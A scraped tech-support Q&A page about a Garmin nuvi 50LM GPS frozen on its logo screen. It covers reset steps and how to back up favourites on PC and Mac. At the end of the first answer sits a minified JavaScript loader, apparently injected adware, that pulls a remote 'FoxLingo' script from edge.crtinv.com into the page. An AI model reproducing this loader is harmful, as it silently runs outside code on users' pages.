WHEN I TURNED ON MY CAR THE GPS WAS PLUGGED INTO THE LIGHTER AND INSTEAD OF TURNING ON IT FROZE AND THE WINDOW JUST HAS THE GARMIN LOGO. I JUST PURCHASED IT A MONTH AGO. Garmin nuvi 50 LM
Press the small reset button for 5 seconds then power the unit off and then back on again. This should clear the problem.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
Testimonial: "Well thanks for your thoughtful and detailed solution, I did try iy but to no avail. Appreciate it."
Garmin Master reset on nuvi 30, 40, and 50 series devices: Note: A master reset will erase all favourites and will restore your device to the default factory settings. If you would like to back up your favourites to your computer, you can find instructions to do so see below. Although the master reset will erase all saved favourites, any loaded custom points of interest will remain intact on the device. 1. Start with the device OFF and unplugged from power 2. Touch and hold the lower right corner of the screen with an index finger or the eraser end of a pencil 3. Continue touching and holding the lower right hand corner of the screen then power the device ON 4. Release the power button when the device powers ON o You will see a new message: "Erase all user data?" 5. Remove your finger from the touch screen when this message displays 6. Touch Yes o If text language is not in English, this is the button on the right The device will now reset. Follow the on-screen prompts and then place your device in an area with a clear view of the sky until it acquires satellites. How to backup saved addresses or Favourites on my nuvi, zumo, dezl, or LIVE series devices Garmin nuvi, zumo, dezl, and LIVE devices allow you the ability to backup the locations saved in the Favourites menu on the device. To backup the Favourites from the Garmin device: Instructions for a PC: 1. Connect the Garmin device to a computer using a data transfer USB cable. 2. Double-click on My Computer or Computer. 3. Right-click on the Garmin device drive and select Open. 4. Locate and double-click the GPX Folder. o Some devices require you to open the folder named "Garmin" or "Internal Storage" first, then the GPX Folder. 5. Right-click and copy the Current.gpx file. 6. Locate your computer's Desktop. 7. Right-click and select Paste to save the Current.gpx file onto your Desktop. To send the file back to the GPS, please follow the steps below: 1. Right-click on the Current.gpx file on your Desktop and select Rename. 2. Name the file Current1.gpx and then press Enter. 3. Right-click on the Current1.gpx file and select Copy. 4. Connect your device to your computer. 5. Double-click on My Computer or Computer. 6. Right-click on the Garmin device drive and select Open. 7. Locate and double-click the GPX Folder. o Some devices require you to open the folder named "Garmin" or "Internal Storage" first, then the GPX Folder. 8. Right-click and select Paste. 9. Disconnect your device from your computer and allow it to boot up. Some devices do not automatically boot up. If your device does not automatically boot up, turn the device on as normal. Your favourites will now be restored on your device. To transfer the saved Favourites from one mass storage device to another, connect the new device to the computer in Step 4 and then follow the remainder of the steps. Instructions for a Mac: 1. Connect the Garmin device to the Mac using a data transfer USB cable. 2. Double-click on the Garmin device when you see it mounted to the Desktop. 3. Locate and double-click the GPX Folder. o Some devices require you to open the folder named "Garmin" first, then the GPX Folder. 4. Right-click1 and copy the Current.gpx file. 5. Right-click1 on your Mac's Desktop and select Paste to save the Current.gpx file onto the Desktop. To send the file back to the GPS: 1. Right-click1 on Current.gpx file on your Desktop and select Get Info. 2. Under Name & Extension, rename the file Current1.gpx and press Enter. 3. Right-click1 on the Current1.gpx file and select Copy. 4. With Garmin device connected to the Mac, double-click on the Garmin Drive. 5. Locate and double-click the GPX Folder. o Some devices require you to open the folder named "Garmin" first, then the GPX Folder. 6. Right-click1 and paste the Current1.gpx file into the GPX folder on your Garmin device. Your favourites will now be restored on your device. To transfer the saved Favourites from one mass storage device to another, connect the new device to the computer in Step 4 and then follow the remainder of the steps. 1If using a Mac with a one button mouse or trackpad, hold the Control button on the keyboard and then click the mouse.
this did nothing
Then it would seem you have no choice but to go to an authorised garmin store / repair shop to get the unit serviced.
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SOURCE: Garmin nuvi 250W Car GPS Receiver
When you have the screen showing up the route to your destination, if you touch the box down in the left hand corner showing the estimated arrival time the screen should switch to show your current speed, max speed, compass etc.........
SOURCE: Garmin Nuvi Doesn't turn on
Try resetting the unit. The procedure can be found here:
http://www.sharc.net/discus/messages/6/313.html?1268661443
- Jim
SOURCE: Garmin nuvi® 255W Car GPS Receiver. Problem: Reboots during Map
The simple way is to send the unit to Garmin they will load the maps for free.
If you keep trying - try this -
With your thumb in the lower right corner of the screen - pushing in - like there is an X there - [ push with your thumb before you turn it on] Turn it on -
when this screen comes up - push YES -
then try your maps.
If they do not load on your pc [ which must have the unit hooked up and a legit copy of the newest maps ] then send the unit to Garmin. They will load your maps for you FREE. 
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